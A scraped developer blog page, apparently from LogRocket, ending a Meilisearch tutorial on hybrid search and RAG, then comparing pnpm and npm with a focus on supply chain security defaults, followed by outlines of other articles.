await client.index('movies').updateRankingRules([
  'words',
  'typo',
  'proximity',
  'attributeRank',
  'sort',
  'wordPosition',
  'exactness'
])

For example, moving exactness higher in the list prioritizes precise matches, while moving it lower favors broader recall. Because the rules are evaluated in order, even small changes to their sequence can noticeably affect the relevance of your search results. See the relevancy documentation for more details on each ranking rule.

How does hybrid and semantic search work in Meilisearch?

This is one of the biggest additions since 2021. In addition to traditional keyword search, Meilisearch now supports semantic search using embeddings and can combine both approaches in a single query.

To enable semantic search, configure an embedder for your index. Meilisearch generates and caches embeddings for your documents automatically, with support for providers including OpenAI, Cohere, Mistral, Gemini, Voyage, Bedrock, Hugging Face, Ollama, or any compatible REST API.

curl -X PATCH 'MEILISEARCH_URL/indexes/movies/settings/embedders' \
  -H 'Authorization: Bearer MEILISEARCH_API_KEY' \
  -H 'Content-Type: application/json' \
  --data-binary '{
    "movies-openai": {
      "source": "openAi",
      "model": "text-embedding-3-small",
      "apiKey": "OPEN_AI_API_KEY",
      "documentTemplate": "A movie titled {{doc.title}}: {{doc.overview}}"
    }
  }'

Once the embedder is configured, you can perform a hybrid search. The hybrid option’s semanticRatio parameter controls the balance between keyword matching (0) and semantic search (1):

await client.index('movies').search('space adventure with a robot', {
  hybrid: {
    embedder: 'movies-openai',
    semanticRatio: 0.5
  }
})

With a hybrid search, Meilisearch can return relevant results even when the query terms don’t appear exactly in your documents, while still preserving the precision of keyword matching.

How do you build conversational search and RAG with Meilisearch?

Meilisearch also includes built-in support for retrieval-augmented generation (RAG) through a single /chats endpoint. When a user asks a question in natural language, Meilisearch retrieves relevant documents from your indexes and passes them to the LLM you configure, which generates a response grounded in those documents with source citations. That means you don’t need to wire together a separate vector database or orchestration layer yourself.

The endpoint is OpenAI-compatible, so you can use the OpenAI SDK, the Vercel AI SDK, or any similar client by pointing it directly at your Meilisearch instance (streaming is required):

import OpenAI from 'openai'

const openai = new OpenAI({
  baseURL: 'MEILISEARCH_URL/chats/cloud',
  apiKey: 'MEILISEARCH_API_KEY'
})

const stream = await openai.chat.completions.create({
  model: 'PROVIDER_MODEL_UID',
  stream: true,
  messages: [
    {
      role: 'user',
      content: 'What movies are about artificial intelligence?'
    }
  ]
})

for await (const chunk of stream) {
  process.stdout.write(chunk.choices[0]?.delta?.content || '')
}

Beyond question answering, the same endpoint also supports multi-turn conversations, one-shot summaries, and retrieval-only workflows that you can integrate into your own applications. Since LLMs can still hallucinate, Meilisearch includes guardrails and system prompt controls to help keep responses grounded in your indexed data. See the conversational search documentation for more details.

How do you use Meilisearch for merchandising and personalization?

Search relevance isn’t always enough. In some cases, you may want to promote specific results for business reasons, such as featuring a product during a sale or surfacing a help article for a common support query.

Meilisearch’s dynamic search rules let you pin selected documents to fixed positions whenever a query or time-based condition matches, without changing the underlying organic ranking. It’s an experimental feature that you enable once before adding rules.

# Enable the feature (once per project)
curl -X PATCH 'MEILISEARCH_URL/experimental-features' \
  -H 'Authorization: Bearer MEILISEARCH_API_KEY' \
  -H 'Content-Type: application/json' \
  --data-binary '{ "dynamicSearchRules": true }'

# Pin a document to the top when a query contains "invoice"
curl -X PATCH 'MEILISEARCH_URL/dynamic-search-rules/invoice-help' \
  -H 'Authorization: Bearer MEILISEARCH_API_KEY' \
  -H 'Content-Type: application/json' \
  --data-binary '{
    "active": true,
    "conditions": [
      {
        "scope": "query",
        "contains": "invoice"
      }
    ],
    "actions": [
      {
        "selector": {
          "indexUid": "support",
          "id": "billing-workspace-overview"
        },
        "action": {
          "type": "pin",
          "position": 0
        }
      }
    ]
  }'

The embedders used for hybrid search can also power recommendations. For example, the /similar endpoint returns documents that are semantically similar to a given item, making it useful for features such as “More like this” or “Customers also viewed.”

curl -X POST 'MEILISEARCH_URL/indexes/movies/similar' \
  -H 'Authorization: Bearer MEILISEARCH_API_KEY' \
  -H 'Content-Type: application/json' \
  --data-binary '{ "id": 192, "embedder": "movies-openai" }'

Meilisearch also supports personalization by reranking results in real time using a short preference prompt, allowing different users searching for the same term to see results ordered according to their individual preferences.

Where does Meilisearch fit in an AI stack?

One advantage of Meilisearch is that it brings together capabilities that often require multiple systems. Traditional search, vector search, hybrid search, recommendations through /similar, and conversational retrieval through /chats all run on the same Rust core, over the same indexes, and behind the same API.

That means the index powering your application’s search experience can also serve as the retrieval layer for AI applications, reducing the need to maintain separate search and vector infrastructures.

Conclusion

What made Meilisearch compelling in 2021 still holds true: you can get started in minutes, index your data, return results in milliseconds, and fine-tune relevance when you need to.

Since then, Meilisearch has expanded well beyond traditional full-text search. Today, it supports semantic and hybrid search, retrieval-augmented generation (RAG), recommendations, and merchandising, all through the same API and on the same engine. Whether you choose Meilisearch Cloud or self-host the open-source version, the development experience remains largely unchanged.

This tutorial covered the core features to help you get started, but there’s much more to explore. For more advanced capabilities like custom hybrid ranking, geosearch, filtering and faceting, and multilingual search, refer to the Meilisearch documentation.

#2026

pnpm vs. npm: Which package manager should you use?

Chinwike Maduabuchi — Invalid Date

See how LogRocket's Galileo AI surfaces the most severe issues for you

No signup required

Check it out

JavaScript package managers have evolved far beyond installing dependencies. Today, tools like npm, Yarn, and pnpm also manage workspaces, generate lockfiles, audit vulnerabilities, and shape how teams secure their software supply chain.

That last point matters more than ever. The npm ecosystem has become a high-value target for supply chain attacks, from compromised maintainer accounts to malicious lifecycle scripts that run during installation. Recent incidents such as the Axios supply chain attack and the Mini Shai Hulud malware campaign show how quickly a trusted dependency can become an attack path. OWASP now lists software supply chain failures as A03 in its 2025 Top 10, reflecting how central dependency risk has become to application security.

npm still defines many of the conventions the JavaScript ecosystem uses every day, including package.json, lockfiles, lifecycle scripts, and registry publishing. But some of npm’s long-standing design choices are showing their age, especially around node_modules bloat, dependency hoisting, install-time trust, and default security posture.

pnpm takes a different approach. Instead of copying dependency files into every project, it stores packages once in a content-addressable global store and links them into each project. That architecture reduces disk usage, speeds up repeated installs, and avoids some of the accidental dependency access that npm’s flattened node_modules layout can allow. More recently, pnpm has also become more opinionated about security by delaying newly published versions, blocking unapproved build scripts, and rejecting certain risky dependency sources by default.

In this article, we’ll look at where pnpm improves on npm, how its node_modules structure works, what its newer security defaults protect against, and what to consider before migrating an existing project.

pnpm vs. npm: The short version

pnpm is not just “npm, but faster.” Its main advantage is that performance, disk efficiency, and dependency strictness come from the same architectural choice: packages are stored once and linked into projects instead of being duplicated or broadly hoisted.

The table below summarizes the key differences:

Area	npm	pnpm
Dependency storage	Installs packages into each project’s `node_modules`	Stores package files once in a global content-addressable store and links them into projects
Disk usage	Can duplicate package files across projects	Reuses the same package version across projects
Dependency access	Hoisted dependencies can be imported even when they are not declared directly	Strict layout makes undeclared dependency imports easier to catch
Install scripts	Lifecycle scripts run by default unless restricted	Dependency build scripts require explicit approval through `allowBuilds`
Newly published versions	Can be delayed with `min-release-age`, but this is opt-in	Delays newly published versions by default in pnpm 11
Workspaces	Supported through the `workspaces` field	Supported through `pnpm-workspace.yaml`, with centralized security and version policy settings
SBOM support	Supports `npm sbom`	Supports `pnpm sbom`

The trade-off is compatibility. pnpm’s strictness can expose problems that npm’s hoisting hides. That is usually a good thing for long-term correctness, but it can make migration noisier for projects that rely on undeclared dependencies.

The install pipeline as an attack vector

The package install step is one of the most trusted parts of a JavaScript workflow. It is also one of the riskiest.

When you run npm install, dependency lifecycle scripts such as preinstall, install, and postinstall can execute automatically. Legitimate packages use these scripts to download binaries, compile native modules, or perform setup work that the package needs in order to function.

The problem is that install scripts are still third-party code running on your machine or in CI. If an attacker compromises a package, maintainer account, or release process, the install step becomes a direct execution path.

The Mini Shai Hulud campaign exploited that kind of trust boundary: malicious packages used installation behavior to steal sensitive credentials such as GitHub tokens, API keys, and cloud secrets. Once those credentials were captured, attackers could publish additional poisoned packages and expand the compromise.

Lockfiles help reduce the risk of silently picking up a malicious patch release. For example, if a project depends on axios with a semver range such as ^1.13.0, installing without a lockfile can resolve to a newer patch or minor version that satisfies the range. If that newer version is compromised during the window when it is available, your project may install it automatically.

That is why package manager behavior matters. Security is not only about running npm audit after installation; it is also about deciding which code is allowed to run during installation and how quickly newly published versions can enter your dependency tree. Understanding why npm dependencies are a bigger security risk than your code can help frame just how significant these decisions are.

Where pnpm’s security model differs

pnpm’s newer security defaults are designed around a simple idea: the package manager should not assume that every newly published package, transitive dependency, or install script is safe.

These defaults do not make a project immune to supply chain attacks. You still need lockfiles, code review, two-factor authentication for package publishing, dependency monitoring, and secret scanning. But pnpm shifts more protection into the default install path instead of requiring every team to opt into it manually.

Delaying newly published versions with `minimumReleaseAge`

pnpm 11 sets minimumReleaseAge to 1440 minutes by default, which means a newly published package version must be at least 24 hours old before pnpm will resolve it.

That delay helps with a common supply chain pattern: malicious versions are often discovered and removed shortly after publication. Waiting a day gives maintainers, registries, and security tools time to react before the version reaches your project.

You can increase the delay in pnpm-workspace.yaml:

minimumReleaseAge: 10080 # Wait one week before installing newly published versions

You can also exempt trusted packages, such as internal packages your organization publishes:

minimumReleaseAge: 1440
minimumReleaseAgeExclude:
  - '@your-org/*'

npm has added a similar setting, min-release-age, but it is not enabled by default. That difference matters: with pnpm, the safer behavior is the starting point; with npm, teams must choose to configure it.

Requiring approval for dependency build scripts

Install scripts are powerful because they run code during dependency installation. That power is also why they are dangerous.

pnpm’s allowBuilds setting lets teams approve which dependencies may run lifecycle build scripts. If a package tries to run a build script and is not allowlisted, pnpm reports it instead of silently trusting it.

A typical workflow looks like this:

pnpm install
pnpm approve-builds

The resulting policy lives in pnpm-workspace.yaml:

allowBuilds:
  '@swc/core': true
  esbuild: true
  sharp: true

This is useful because many legitimate packages need build scripts. Native dependencies such as sharp, esbuild, and @swc/core may require postinstall behavior. The goal is not to ban lifecycle scripts entirely; it is to make script execution explicit and reviewable.

npm has also introduced an approval workflow through npm approve-scripts, but in the current npm release this policy is advisory: install scripts still run by default, and npm reports which packages have not been reviewed.

Blocking exotic transitive dependencies

Another pnpm 11 default, blockExoticSubdeps, blocks transitive dependencies from resolving through sources such as Git repositories or tarball URLs. These sources can be legitimate, but they also bypass some of the normal expectations teams have around public registry packages, provenance, and review.

This does not mean you can never install from a Git URL. It means pnpm is stricter about allowing a package deep in your dependency tree to pull code from a less predictable source without you noticing.

Enforcing trust policy

pnpm 10.21 introduced trustPolicy, including a no-downgrade mode that can block a package version if its trust evidence is weaker than a version you previously installed.

For example, if a package previously shipped with provenance and a later version does not, pnpm can refuse the downgrade in trust. That kind of policy is especially relevant after incidents where compromised package versions lack the provenance signals present in earlier legitimate releases.

npm can display provenance information and supports signature verification through commands like npm audit signatures, but it does not currently enforce a comparable trust downgrade policy during normal installation.

Why pnpm uses less disk space

The other major difference between npm and pnpm is how they store packages on disk.

A JavaScript dependency rarely arrives alone. Install express, and you also install the packages express depends on, the packages those packages depend on, and so on. This transitive tree can grow quickly.

npm v3 improved disk usage by flattening node_modules and hoisting dependencies to the project root where possible. That reduced duplication, but it also introduced a long-standing side effect: packages can sometimes be imported by your application even if you never declared them in package.json.

For example, suppose express depends on debug. With npm’s flattened layout, debug may appear at the top level of node_modules. Your application can then accidentally do this:

import debug from 'debug';

The import works even though debug is not your direct dependency. Later, if express removes debug or changes how it depends on it, your application breaks. This is the “phantom dependency” or “ghost dependency” problem. Tools like Knip can help you find unused and ghost dependencies before they cause issues in production.

pnpm avoids this by using a stricter node_modules layout. Package files are stored once in a global content-addressable store. Projects then reference those files through hard links and symlinks.

A simplified layout looks like this:

~/.pnpm-store/
└── v11/
    ├── files/
    │   ├── 4a/1f9c8b...              ← react content, hash-addressed
    │   └── 7e/2d5a91...              ← react-dom content, hash-addressed
    └── index.db

project-a/
└── node_modules/
    ├── react -> .pnpm/[email protected]/node_modules/react
    ├── react-dom -> .pnpm/[email protected]/node_modules/react-dom
    └── .pnpm/
        ├── [email protected]/
        │   └── node_modules/
        │       └── react/            ← hard linked from the store
        └── [email protected]/
            └── node_modules/
                ├── react-dom/        ← hard linked from the store
                └── react -> ../../[email protected]/node_modules/react

A hard link points another file name at the same underlying data on disk, so the package contents are not duplicated. A symlink works more like a shortcut, pointing one path to another. pnpm combines both: hard links avoid repeated package contents, and symlinks preserve the dependency relationships Node needs for module resolution.

This is why pnpm can feel dramatically lighter on machines with many projects. If 20 projects all use the same version of React, pnpm stores that version once and links it into each project as needed.

One caveat: Finder, Windows Explorer, and some disk-usage tools can make pnpm projects look larger than they really are because they count each hard-linked file as if it were a separate copy. To measure actual disk usage, use tools that understand hard links or compare free disk space before and after installation.

The practical impact on `node_modules` bloat

Early in my career, I dealt with node_modules bloat before I understood what caused it. I was learning React on a 256GB laptop with limited internet access, so I copied entire node_modules folders between projects to avoid downloading the same packages again.

pnpm solves that problem at the package manager level. Whether you have one project or a hundred on the same machine, every package version is stored once and reused.

I saw this in a large pnpm monorepo with four apps. The root node_modules appeared to take about 1.87GB on disk. After deleting node_modules and reinstalling, the free storage on my machine barely changed because the package contents were already in pnpm’s store. The reinstall mostly recreated links.

When I converted the same project to an npm monorepo and installed dependencies, disk usage increased because npm wrote a separate copy of the dependencies into that project.

The important lesson is not just “pnpm is smaller.” It is that pnpm treats installed packages as reusable content, while npm generally treats each project install as its own dependency tree.

pnpm as a workspace security contract

pnpm’s workspace configuration has become a central place for dependency policy.

In pnpm 11, most non-registry settings belong in pnpm-workspace.yaml rather than being scattered across .npmrc files or a pnpm field in package.json. That makes settings such as minimumReleaseAge, allowBuilds, blockExoticSubdeps, and trustPolicy easier to review in one place.

For a monorepo, that matters. A root workspace file can act as a security contract for every package in the repo:

packages:
  - 'apps/*'
  - 'packages/*'

minimumReleaseAge: 1440
blockExoticSubdeps: true
trustPolicy: no-downgrade
allowBuilds:
  '@swc/core': true
  esbuild: true
  sharp: true

This file tells reviewers not only which packages exist in the workspace, but also which dependency behaviors are allowed.

pnpm’s catalogs push this further by centralizing dependency versions across a workspace. With strict catalog mode, pnpm add can fail when a developer tries to install a version outside the approved catalog. npm’s overrides can force versions after resolution, but catalogs are more proactive: they prevent unsupported versions from being added in the first place.

Built-in SBOM generation

A software bill of materials, or SBOM, is a machine-readable inventory of the packages in your application. Teams use SBOMs for audits, compliance, vulnerability scanning, and incident response.

Before package managers added native SBOM support, teams often reached for tools like Syft or CycloneDX plugins. npm introduced npm sbom first, and pnpm now includes pnpm sbom as well.

That means you can generate CycloneDX or SPDX output directly from your package manager:

pnpm sbom --format cyclonedx-json > sbom.json

This is useful during incident response. When a new vulnerability or compromise is disclosed, an SBOM helps you answer a basic but urgent question: did we ship the affected package, and in which release?

Native registry operations in pnpm

pnpm 11 also implements registry operations directly. Commands such as pnpm publish, pnpm login, pnpm logout, pnpm view, pnpm deprecate, and pnpm unpublish no longer depend on the npm CLI under the hood.

This is not a feature that npm lacks; npm is still the native CLI for the npm registry. The point is that pnpm’s workflow no longer has to hand publishing and account operations off to another tool. For teams standardizing on pnpm, that makes the install-to-publish workflow more consistent.

How to migrate from npm or Yarn to pnpm

Migrating to pnpm is usually straightforward, but the strict dependency layout can reveal hidden problems in your project.

A safe migration looks like this:

# Option 1: Install globally
npm i -g pnpm

# Option 2: Use Corepack
corepack enable
corepack use pnpm@latest

# Convert the existing lockfile
pnpm import

# Remove the old install artifacts
rm -rf node_modules package-lock.json yarn.lock

# Install with pnpm
pnpm install

pnpm import reads your existing package-lock.json or yarn.lock and creates a pnpm-lock.yaml that preserves your current resolutions as closely as possible. That gives you a more controlled starting point than deleting the old lockfile and resolving everything from scratch.

After the first install, expect to fix a few things:

Add any dependencies your code imports directly but did not list in package.json
Replace npm or Yarn commands in CI workflows and Dockerfiles
Create a root pnpm-workspace.yaml for monorepos
Review packages that require lifecycle scripts and approve them with pnpm approve-builds
Decide whether to keep the default minimumReleaseAge or tune it for your release workflow
Update developer onboarding docs so local commands use pnpm consistently

The most common migration surprise is phantom dependencies. Code that worked under npm may fail under pnpm because it imported a package that was only available through hoisting. Treat those failures as useful signals. They show you where your dependency declarations were incomplete.

When pnpm is the better default

pnpm is a strong fit when your team cares about reproducible installs, monorepo performance, disk usage, and supply chain hardening. It is especially useful for:

Large monorepos with shared packages and many repeated dependencies
Teams that want stricter dependency declarations
CI systems where install speed and lockfile consistency matter
Security-conscious teams that want safer install defaults
Projects that need centralized workspace dependency policy

npm is still a reasonable default for small projects, tutorials, and teams that want the least surprising path through the JavaScript ecosystem. It is preinstalled with Node.js, widely documented, and universally supported. If your project is small and your workflow is simple, npm may be enough.

But for larger applications, pnpm’s trade-offs are increasingly attractive. It keeps the familiar package.json workflow while solving several pain points that npm either leaves to configuration or exposes through years of backward-compatible behavior. Teams that also want to secure their full-stack projects from NPM attacks will find that pnpm’s stricter defaults complement those broader hardening efforts.

Conclusion

Package managers are now part of the security boundary. They do not just fetch dependencies; they decide which code runs during installation, how quickly new versions enter a project, how strictly dependencies are resolved, and how easily teams can audit what they shipped.

That is where pnpm has pulled ahead. Its content-addressable store reduces disk usage and repeated downloads. Its strict dependency layout exposes phantom dependencies instead of hiding them. Its workspace configuration centralizes dependency policy. And its newer security defaults make risky installation behavior harder to miss.

This does not make npm obsolete. npm created the workflow the ecosystem still builds on, and it continues to add security features of its own. The difference is that pnpm is more willing to make stricter behavior the default.

For teams maintaining large JavaScript apps or monorepos, that default posture matters. pnpm is not only faster and more disk-efficient than npm in many workflows; it is a package manager that treats dependency installation as a security-sensitive operation from the start. If you are also thinking about how your dependencies interact with authentication and access control, reviewing JWT authentication best practices is a natural next step for hardening the full application stack. And if you are adopting AI-assisted development alongside these security improvements, understanding AI-assisted development governance can help your team maintain control over what gets shipped.

#javascript

logrocket-Dev

Astryx vs. shadcn/ui: Testing Meta’s AI-friendly React design system with Claude Code

See how LogRocket's Galileo AI surfaces the most severe issues for you

No signup required

Why agents trip over design systems

What you actually get with Astryx

Test one: the dashboard

Test two: swapping the theme

Test three: the settings modal

The numbers

The catches

So, is it worth it?

Key takeaways

10 best AI agent skills for senior engineers in 2026

See how LogRocket's Galileo AI surfaces the most severe issues for you

No signup required

What are the best AI agent skills for engineers?

Superpowers

How do you install the Superpowers skill?

When should you skip the Superpowers skill?

Deslop

How do you install the Deslop skill?

When should you skip Deslop?

Caveman

How do you install the Caveman skill?

Performance optimization

How do you install the performance-optimization skill?

When should you skip performance optimization?

Improve

How do you install the Improve skill?

When should you skip the Improve skill?

Test-driven development (TDD)

How do you install the TDD skill?

When should you skip TDD for AI agents?

Context7

How do you install the Context7 skill?

When should you skip Context7?

React best practices

How do you install the React best-practices skill?

Next.js best practices

How do you install the Next.js best-practices skill?

When should you skip the Next.js best-practices skill?

Incremental implementation

How do you install the incremental-implementation skill?

When should you skip incremental implementation?

How do you chain AI agent skills together?

Which skills work best for large feature builds?

Which skills work best for performance refactoring?

Conclusion

Why Google is probably going to win the AI race

See how LogRocket's Galileo AI surfaces the most severe issues for you

No signup required

Who has the most data?

Enter Antigravity

Cruising the agentic web

Working through the information

A tale of two AI IDEs

But what about the model?

The final piece: monetization

Best React scheduler component libraries

See how LogRocket's Galileo AI surfaces the most severe issues for you

No signup required

Which React scheduler library should you choose?

Why use a React scheduler component library?

KendoReact Scheduler

Syncfusion React Scheduler

DHTMLX Scheduler

Bryntum

react-big-calendar

FullCalendar

Schedule-X

MUI X Scheduler

DayPilot React Scheduler

CalendarKit

Planby

React scheduler library comparison table

Conclusion

How to build a real time voice AI agent in the browser

See how LogRocket's Galileo AI surfaces the most severe issues for you

No signup required

`agent.ts`

`instructions.md`

`tools/*.ts`

`skills/*.md`

`subagents/*`